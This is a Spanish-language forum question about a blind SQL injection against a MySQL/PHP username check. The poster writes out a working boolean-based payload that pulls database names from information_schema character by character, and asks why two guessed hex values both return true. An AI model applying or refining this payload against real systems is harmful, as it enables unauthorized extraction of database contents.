Estoy explotando un punto de inyección de SQL oculto, que toma una variable como nombre de usuario y luego verifica si el nombre de usuario existe en una tabla.
(Se está ejecutando MySQL 5.X con PHP)
Así que estoy usando esto para recuperar todas las bases de datos:
valid_user_name' and (
SELECT substr(hex(schema_name), 8, 1)
FROM information_schema.schemata
WHERE schema_name not in ('performance_schema','mysql','information_schema')
ORDER BY schema_name limit 0, 1) = '9' #
El primer nombre de la base de datos es radius
, por lo que el octavo carácter de hex('radius')
es '9'.
Con la entrada anterior, la página web muestra que el usuario existe.
Pero cuando proporciono el carácter '7'
, también muestra que el usuario existe.
Todo lo demás no se muestra así.
Alguien sabe por qué?
P.S Podría pensar que el punto de inyección es un falso positivo, pero no lo es. Lo he confirmado con SQLmap.